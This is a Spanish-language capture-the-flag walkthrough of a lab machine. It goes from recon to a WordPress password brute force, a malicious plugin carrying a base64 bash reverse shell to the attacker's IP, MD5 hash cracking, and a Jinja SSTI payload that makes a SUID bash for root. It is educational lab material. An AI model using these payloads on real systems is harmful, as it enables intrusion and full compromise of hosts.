TheFirstAvenger – TheHackersLabs Link to heading

  • OS: Linux
  • Difficulty / Dificultad: Easy / Fácil
  • Platform / Plataforma: TheHackersLabs

‘TheHackersLabs’ Avatar


Resumen Link to heading

“TheFirstAvenger” es una máquina de dificultad fácil de la plataforma TheHackersLabs. La máquina víctima se encuentra corriendo un servidor web. Somos capaces de listar directorios donde uno de ellos está corriendo Wordpress. Somos capaces de acceder al panel de administración de Wordpress gracias a que un usuario tenía credenciales débiles. Ya dentro del portal, subimos un plugin malicioso para ganar acceso inicial al a máquina víctima. Teniendo acceso inicial a la máquina víctima, somos capaces de obtener credenciales para u nservicio MySQL que corría internamente dentro de ésta. Somos capaces de encontrar hashes dentro de esta base de datos y crackear estos hashes. Una de las contraseñas crackeadas corresponde a la contraseña del usuario del sistema. Además, notamos que el usuario root está corriendo un servidor web interno el cual es vulnerable a Server Side Template Injection (SSTI); pudiendo así ejecutar comandos como un usuario privilegiado y tomar total control del sistema.


User / Usuario Link to heading

Empezando con un escaneo con Nmap sólo muestra 2 puertos abiertos: 22 SSH y 80 HTTP:

❯ sudo nmap -sVC -p22,80 10.20.1.141

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-19 04:28 -03
Nmap scan report for 10.20.1.141
Host is up (0.00036s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 a1:96:4a:cb:4a:c2:76:f6:35:61:64:53:31:53:a5:5e (ECDSA)
|_  256 63:00:29:0f:1b:2b:58:7c:aa:6c:28:78:bf:ce:6e:5e (ED25519)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Bienvenido Cibervengador!
MAC Address: 08:00:27:9B:8E:94 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.98 seconds

Visitando el sitio HTTP (http://10.20.1.141) en un navegador de internet muestra una página con solamente texto:

TheFirstAvenger 1

Ya que el sitio no muestra mucha info, buscamos directorios a través de un Brute Force Directory Listing con la herramienta Gobuster:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.20.1.141 -t 55 -x html,php,txt

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.20.1.141
[+] Method:                  GET
[+] Threads:                 55
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 474]
/.html                (Status: 403) [Size: 276]
/.php                 (Status: 403) [Size: 276]
/wp1                  (Status: 301) [Size: 308] [--> http://10.20.1.141/wp1/]
/.html                (Status: 403) [Size: 276]
/.php                 (Status: 403) [Size: 276]
/server-status        (Status: 403) [Size: 276]
Progress: 882236 / 882240 (100.00%)
===============================================================
Finished
===============================================================

Obtenemos un directorio: /wp1.

Visitando http://10.20.1.141/wp1/ muestra una nueva página web:

TheFirstAvenger 2

Sospecho, basado en el nombre del directorio, que el sitio está corriendo WordPress. Podemos corroborar esto ejecutando:

❯ curl -s -X GET http://10.20.1.141/wp1/ | grep '<meta name="generator"'

<meta name="generator" content="WordPress 6.6.2" />

Y está corriendo.

Existe un post de un usuario admin:

TheFirstAvenger3

Por lo que es un potencial usuario.

Si visitamos http://10.20.1.141/wp1/wp-admin/ la página web nos redirige a thefirstavenger.thl, de manera que agregamos este dominio a nuestro archivo /etc/hosts:

❯ echo '10.20.1.141 thefirstavenger.thl' | sudo tee -a /etc/hosts

Ahora puedemos ver el directorio /w1/wp-admin con el panel de login de Wordpress:

TheFirstAvenger 4

Luego, escanearñe el sitio usando WPScan:

❯ wpscan -e ap,t,tt,u --url 'http://thefirstavenger.thl/wp1/' -t 30
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.27
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]n
[+] URL: http://thefirstavenger.thl/wp1/ [10.20.1.141]
[+] Started: Sat Oct 19 04:46:03 2024

<SNIP>

[+] WordPress version 6.6.2 identified (Latest, released on 2024-09-10).
 | Found By: Rss Generator (Passive Detection)
 |  - http://thefirstavenger.thl/wp1/index.php/feed/, <generator>https://wordpress.org/?v=6.6.2</generator>
 |  - http://thefirstavenger.thl/wp1/index.php/comments/feed/, <generator>https://wordpress.org/?v=6.6.2</generator>

<SNIP>

[i] User(s) Identified:

[+] admin
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By: Rss Generator (Passive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Sat Oct 19 04:47:30 2024
[+] Requests Done: 3036
[+] Cached Requests: 19
[+] Data Sent: 916.204 KB
[+] Data Received: 1.629 MB
[+] Memory used: 304.676 MB
[+] Elapsed time: 00:01:26

Confirmamos que tenemos un usuario: admin.

Performamos entonces un Brute Force Password Login (loguearse por fuerza bruta) con WPScan como el usuario admin:

❯ wpscan -shell-session-password-attack xmlrpc -t 30 -U admin -P /usr/share/wordlists/rockyou.txt --url 'http://thefirstavenger.thl/wp1/'

<SNIP>
[!] Valid Combinations Found:
 | Username: admin, Password: spongebob

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Sat Oct 19 04:53:26 2024
[+] Requests Done: 260
[+] Cached Requests: 37
[+] Data Sent: 103.614 KB
[+] Data Received: 171.911 KB
[+] Memory used: 280.539 MB
[+] Elapsed time: 00:00:24

Tenemos credenciales: admin:spongebob.

Podemos usar estas credenciales en el panel del directorio /wp1/wp-admin y estamos dentro del panel de administración:

TheFirstAvenger 5

Ahora subiremos un plugin malicioso. Para esto vamos a la pestaña de Plugins, clickeamos en Añadir nuevo plugin y luego en Subir Plugin:

TheFirstAvenger 6

Subiré un archivo .php el cual establece una conexión a mi máquina de atacante. Primero, encodeamos el payload que me enviará una reverse shell en base64:

❯ echo -n '/bin/bash -c "bash -i >& /dev/tcp/10.20.1.110/443 0>&1"' | base64 -w0

L2Jpbi9iYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjIwLjEuMTEwLzQ0MyAwPiYxIg==

donde 10.20.1.110 es mi IP de atacante y 443 es el puerto en el cual me pondré en escucha con netcat.

Generamos entonces un archivo/plugin PHP el cual ejecutará el payload encodeado. El plugin malicioso tiene el contenido:

<?php 
 /*
 Plugin Name: Shell Plugin
 Version: 1.0.0
 Author: gunzf0x
 Author URI: wordpress.org
 License: GPL2
 */
shell_exec(base64_decode("L2Jpbi9iYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjIwLjEuMTEwLzQ0MyAwPiYxIg=="));
?>

y lo nombramos shell.php.

Luego, comprimimos este archivo .php en un archivo .zip (el cual llamaré gunzf0x-plugin.zip en mi caso):

❯ zip gunzf0x-plugin.zip shell.php

updating: shell.php (deflated 13%)

De vuelta al portal de WordPress, clickeamos en Browse, seleccionamos nuestro payload y le damos a Instalar ahora. Aparentemente esto funcionó:

TheFirstAvenger 7

Si clickeamos en Activar Plugin nuetro plugin está allí:

TheFirstAvenger 8

Comienzo un listener con netcat en el puerto 443 (tal cual habíamos especificado en el payload encodeado en base64) y luego de unos segundos (ni siquiera tuve que hacer click en algún lado) obtenemos una shell como el usuario www-data:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.20.1.110] from (UNKNOWN) [10.20.1.141] 44928
bash: cannot set terminal process group (711): Inappropriate ioctl for device
bash: no job control in this shell
www-data@TheHackersLabs-Thefirstavenger:/var/www/html/wp1/wp-admin$ whoami

whoami
www-data

En el directorio /var/www/html/wp1 hay un archivo wp-config.php. Leyendo éste tenemos:

www-data@TheHackersLabs-Thefirstavenger:/var/www/html/wp1$ cat wp-config.php

<SNIP>
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** Database username */
define( 'DB_USER', 'wordpress' );

/** Database password */
define( 'DB_PASSWORD', '9pXYwXSnap`4pqpg~7TcM9bPVXY&~RM9i3nnex%r' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );

/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
<SNIP>

Tenemos un nombre de base de datos, un usuario y su contraseña.

Revisando cuál es la base de datos corriendo en la máquina víctima mirando los puertos abiertos tenemos:

www-data@TheHackersLabs-Thefirstavenger:/var/www/html/wp1$ ss -nltp

State               Recv-Q              Send-Q                           Local Address:Port                             Peer Address:Port              Process
LISTEN              0                   4096                                127.0.0.54:53                                    0.0.0.0:*
LISTEN              0                   70                                   127.0.0.1:33060                                 0.0.0.0:*
LISTEN              0                   128                                  127.0.0.1:7092                                  0.0.0.0:*
LISTEN              0                   4096                             127.0.0.53%lo:53                                    0.0.0.0:*
LISTEN              0                   151                                  127.0.0.1:3306                                  0.0.0.0:*
LISTEN              0                   4096                                         *:22                                          *:*
LISTEN              0                   511                                          *:80                                          *:*

Los puertos 3306 y 33060 están abiertos, lo cual nos indica que está corriendo una base de datos MySQL.

Podemos entonces utilizar las credenciales del archivo wp-config.php para acceder a esta base de datos:

www-data@TheHackersLabs-Thefirstavenger:/var/www/html/wp1$ mysql -u wordpress -p'9pXYwXSnap`4pqpg~7TcM9bPVXY&~RM9i3nnex%r' -h localhost wordpress

mysql: [Warning] Using a password on the command line interface can be insecure.
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 3598
Server version: 8.0.39-0ubuntu0.24.04.2 (Ubuntu)

Copyright (c) 2000, 2024, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

Existe una base de datos top_secret:

mysql> show databases;

+--------------------+
| Database           |
+--------------------+
| information_schema |
| performance_schema |
| top_secret         |
| wordpress          |
+--------------------+
4 rows in set (0.00 sec)

y dentro de esta tenemos algunos usuarios y contraseñas:

mysql> show tables;

+----------------------+
| Tables_in_top_secret |
+----------------------+
| avengers             |
+----------------------+
1 row in set (0.00 sec)

mysql> select * from avengers;

+----+--------------+------------+----------------------------------+
| id | name         | username   | password                         |
+----+--------------+------------+----------------------------------+
|  1 | Iron Man     | ironman    | cc20f43c8c24dbc0b2539489b113277a |
|  2 | Thor         | thor       | 077b2e2a02ddb89d4d25dd3b37255939 |
|  3 | Hulk         | hulk       | ae2498aaff4ba7890d54ab5c91e3ea60 |
|  4 | Black Widow  | blackwidow | 022e549d06ec8ddecb5d510b048f131d |
|  5 | Hawkeye      | hawkeye    | d74727c034739e29ad1242b643426bc3 |
|  6 | Steve Rogers | steve      | 723a44782520fcdfb57daa4eb2af4be5 |
+----+--------------+------------+----------------------------------+
6 rows in set (0.03 sec)

mysql> select username,password from avengers;

+------------+----------------------------------+
| username   | password                         |
+------------+----------------------------------+
| ironman    | cc20f43c8c24dbc0b2539489b113277a |
| thor       | 077b2e2a02ddb89d4d25dd3b37255939 |
| hulk       | ae2498aaff4ba7890d54ab5c91e3ea60 |
| blackwidow | 022e549d06ec8ddecb5d510b048f131d |
| hawkeye    | d74727c034739e29ad1242b643426bc3 |
| steve      | 723a44782520fcdfb57daa4eb2af4be5 |
+------------+----------------------------------+
6 rows in set (0.00 sec)

Guardo todas las contraseñas en un archivo llamado passwords.txt en mi máquina de atacante.

El único pequeño gran detalle es que estas contraseñas no son en realidad “contraseñas”, son hashes (como podemos verificar con hash-identifier):

❯ hash-identifier
/usr/share/hash-identifier/hash-id.py:13: SyntaxWarning: invalid escape sequence '\ '
  logo='''   #########################################################################
   #########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   Root@Blackploit.com #
   #########################################################################
--------------------------------------------------
 HASH: cc20f43c8c24dbc0b2539489b113277a

Possible Hashs:
[+] MD5
<SNIP>

Podemos entonces intentar crackearlas usando la herramienta JohnTheRipper junto con el diccionario rockyou.txt:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt passwords.txt --format=Raw-MD5

Using default input encoding: UTF-8
Loaded 6 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=5
Press 'q' or Ctrl-C to abort, almost any other key for status
tony123          (?)
hawkeye          (?)
smash123         (?)
thecaptain       (?)
natasha456       (?)
thorhammer       (?)
6g 0:00:00:00 DONE (2024-10-19 05:56) 15.78g/s 8511Kp/s 8511Kc/s 15661KC/s thorin22..thoodles1
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

Tenemos 6 contraseñas. Guardamos todas ellas en un nuevo archivo llamado found_passwords.txt.

Podemos ver que existeun usuario llamado steve en la máquina víctima:

www-data@TheHackersLabs-Thefirstavenger:/var/www/html/wp1$ cat /etc/passwd | grep 'sh$'

root:x:0:0:root:/root:/bin/bash
steve:x:1000:1000:Steve Rogers:/home/steve:/bin/bash

www-data@TheHackersLabs-Thefirstavenger:/var/www/html/wp1$ ls /home

steve

De manera que reviso si alguna de estas contraseñas funciona para loguearse por medio de SSH como el usuario steve con la herramienta NetExec:

❯ nxc ssh 10.20.1.141 -u 'steve' -p found_passwords.txt

SSH         10.20.1.141     22     10.20.1.141      [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5
SSH         10.20.1.141     22     10.20.1.141      [-] steve:tony123
SSH         10.20.1.141     22     10.20.1.141      [-] steve:hawkeye
SSH         10.20.1.141     22     10.20.1.141      [-] steve:smash123
SSH         10.20.1.141     22     10.20.1.141      [+] steve:thecaptain  Linux - Shell access!

Tenemos credenciales: steve:thecaptain.

Podemos conectarnos como este usuario a través de SSH:

❯ sshpass -p 'thecaptain' ssh -o stricthostkeychecking=no steve@10.20.1.141

<SNIP>
                         ██████╗██╗██████╗ ███████╗██████╗
                        ██╔════╝██║██╔══██╗██╔════╝██╔══██╗
                        ██║     ██║██████╔╝█████╗  ██████╔╝
                        ██║     ██║██╔══██╗██╔══╝  ██╔══██╗
                        ╚██████╗██║██████╔╝███████╗██║  ██║
                         ╚═════╝╚═╝╚═════╝ ╚══════╝╚═╝  ╚═╝

██╗   ██╗███████╗███╗   ██╗ ██████╗  █████╗ ██████╗  ██████╗ ██████╗ ███████╗███████╗
██║   ██║██╔════╝████╗  ██║██╔════╝ ██╔══██╗██╔══██╗██╔═══██╗██╔══██╗██╔════╝██╔════╝
██║   ██║█████╗  ██╔██╗ ██║██║  ███╗███████║██║  ██║██║   ██║██████╔╝█████╗  ███████╗
╚██╗ ██╔╝██╔══╝  ██║╚██╗██║██║   ██║██╔══██║██║  ██║██║   ██║██╔══██╗██╔══╝  ╚════██║
 ╚████╔╝ ███████╗██║ ╚████║╚██████╔╝██║  ██║██████╔╝╚██████╔╝██║  ██║███████╗███████║
  ╚═══╝  ╚══════╝╚═╝  ╚═══╝ ╚═════╝ ╚═╝  ╚═╝╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚══════╝




steve@TheHackersLabs-Thefirstavenger:~$ whoami

steve

Podemos obtener la flag de usuario en el directorio /home de este usuario.


Root Link to heading

Analzando de nuevo los puertos internos abiertos noto que el puerto 7092 está abierto:

steve@TheHackersLabs-Thefirstavenger:~$ ss -nltp

State               Recv-Q              Send-Q                           Local Address:Port                             Peer Address:Port              Process
LISTEN              0                   4096                                127.0.0.54:53                                    0.0.0.0:*
LISTEN              0                   70                                   127.0.0.1:33060                                 0.0.0.0:*
LISTEN              0                   128                                  127.0.0.1:7092                                  0.0.0.0:*
LISTEN              0                   4096                             127.0.0.53%lo:53                                    0.0.0.0:*
LISTEN              0                   151                                  127.0.0.1:3306                                  0.0.0.0:*
LISTEN              0                   4096                                         *:22                                          *:*
LISTEN              0                   511                                          *:80 

Adicionalmente, revisamos los procesos siendo ejecutados en la máquina víctima por el usuario root. Podemos ver que hay una aplicación server.py corriendo, la cual se encuentra ubicada en /opt/app:

steve@TheHackersLabs-Thefirstavenger:~$ ps aux | grep root

root           1  0.0  1.3  21972 13056 ?        Ss   07:19   0:01 /sbin/init
root           2  0.0  0.0      0     0 ?        S    07:19   0:00 [kthreadd]
root           3  0.0  0.0      0     0 ?        S    07:19   0:00 [pool_workqueue_release]
<SNIP>
root         650  0.0  1.8 112696 18264 ?        Ss   07:20   0:01 /usr/bin/python3 /opt/app/server.py
<SNIP>
root       15607  0.0  0.0      0     0 ?        I    09:09   0:00 [kworker/0:2]
root       15608  0.0  0.0      0     0 ?        I    09:09   0:00 [kworker/u2:3]
steve      15613  0.0  0.2   3956  2048 pts/1    S+   09:09   0:00 grep root

No obstante, si intentamos leer qué hay en /opt/app se nos niega el acceso.

Revisamos si lo que está corriendo en el puerto 7092 es un sitio web simplemente usando cURL contra éste:

steve@TheHackersLabs-Thefirstavenger:~$ curl -s 127.0.0.1:7092

    <!doctype html>
    <html>
    <head>
        <title>Network toolkit</title>
        <style>
<SNIP>

Muestra contenido HTML, por lo que asumo que es una página web.

Para ganar acceso a este servicio web interno, intentamos realizar un Local Port Forwarding usando el acceso del usuario steve por medio de SSH. Para ello cerramos nuestra sesión actual de SSH y volvemos a logearnos, pero esta vez corriendo:

❯ sshpass -p 'thecaptain' ssh -o stricthostkeychecking=no -L 7092:127.0.0.1:7092 steve@10.20.1.141

Como dato extra, podemos ver si el túnel ha funcionado revisando, en una terminal aparte en nuestra máquina víctima, si nuestro puerto 7092 está ocupado:

❯ lsof -i:7092

COMMAND   PID    USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
ssh     66084 gunzf0x    4u  IPv6 164448      0t0  TCP localhost:7092 (LISTEN)
ssh     66084 gunzf0x    5u  IPv4 164449      0t0  TCP localhost:7092 (LISTEN)

Luego, abrimos un navegador de internet como Firefox y visitamos http://127.0.0.1:7092. Podemos ver una máquina que ejecuta el comando ping:

TheFirstAvenger 9

Si comienzamos un listener con tcpdump en escucha de trazas ICMP y pasamos nuestra IP en el sitio web, recibimos un ping como es esperado:

TheFirstAvenger 10

Y en nuestra máquina de atacante obtenemos:

❯ sudo tcpdump -ni eth0 icmp

tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
06:18:43.421336 IP 10.20.1.141 > 10.20.1.110: ICMP echo request, id 15682, seq 1, length 64
06:18:43.421365 IP 10.20.1.110 > 10.20.1.141: ICMP echo reply, id 15682, seq 1, length 64

De manera que la página web sólo manda ping a la IP especificada. Nada más allá.

Luego de probar algunas cosas, podemos notar que cualquier input que se le pase a la página web es reflejado. Si ponemos el input {{9*9}} el texto es reemplazado por 81 luego de clickear en Ejecutar. De manera que este servicio puede ser vulnerable a Server Side Template Injection (SSTI). Ya que el servidor está siendo ejecutado por Python (como vimos anteriormente al revisar los procesos corriendo), sospecho que éste puede estar usando Jinga. Basados en payloads de SSTI para Jinga de PayloadAllTheThings, si pasamos el payload {% csrf_token %} éste debería de crashear el server. Cosa que, si lo hacemos, sucede:

TheFirstAvenger 11

Dado que confirmamos que el servicio se encuentra utilizando Jinga, pasamos entonces el payload:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Y en la página web obtenemos:

TheFirstAvenger 12

Entonces simplemente pasaremos el payload:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cp /bin/bash /tmp/gunzf0x; chmod 4755 /tmp/gunzf0x').read() }}

El cual, a su vez, contiene el payload:

cp /bin/bash /tmp/gunzf0x; chmod 4755 /tmp/gunzf0x

Este comando crea una copia del binario /bin/bash y, a aquella copia, le asigna permisos SUID.

Pasamos el payload y clickeamos en Ejecutar. Una vez hecho, si revisamos el directorio /tmp en la máquina víctima, podemos ver que el archivo malicioso está allí:

steve@TheHackersLabs-Thefirstavenger:~$ ls -la /tmp
total 2304
drwxrwxrwt 11 root  root     4096 Oct 19 09:36 .
drwxr-xr-x 23 root  root     4096 Oct  7 16:13 ..
<SNIP>
drwxrwxrwt  2 root  root     4096 Oct 19 07:20 .font-unix
-rwsr-xr-x  1 root  root  1446024 Oct 19 09:36 gunzf0x
<SNIP>

El archivo creado tiene permisos -rwsr-xr-x (4755), de manera que podemos usar la flag -p para correr este binario como el propietario (que es root):

steve@TheHackersLabs-Thefirstavenger:~$ /tmp/gunzf0x -p
gunzf0x-5.2# whoami

root

GG. Podemos leer la flag de root en el directorio /root.

~Happy Hacking.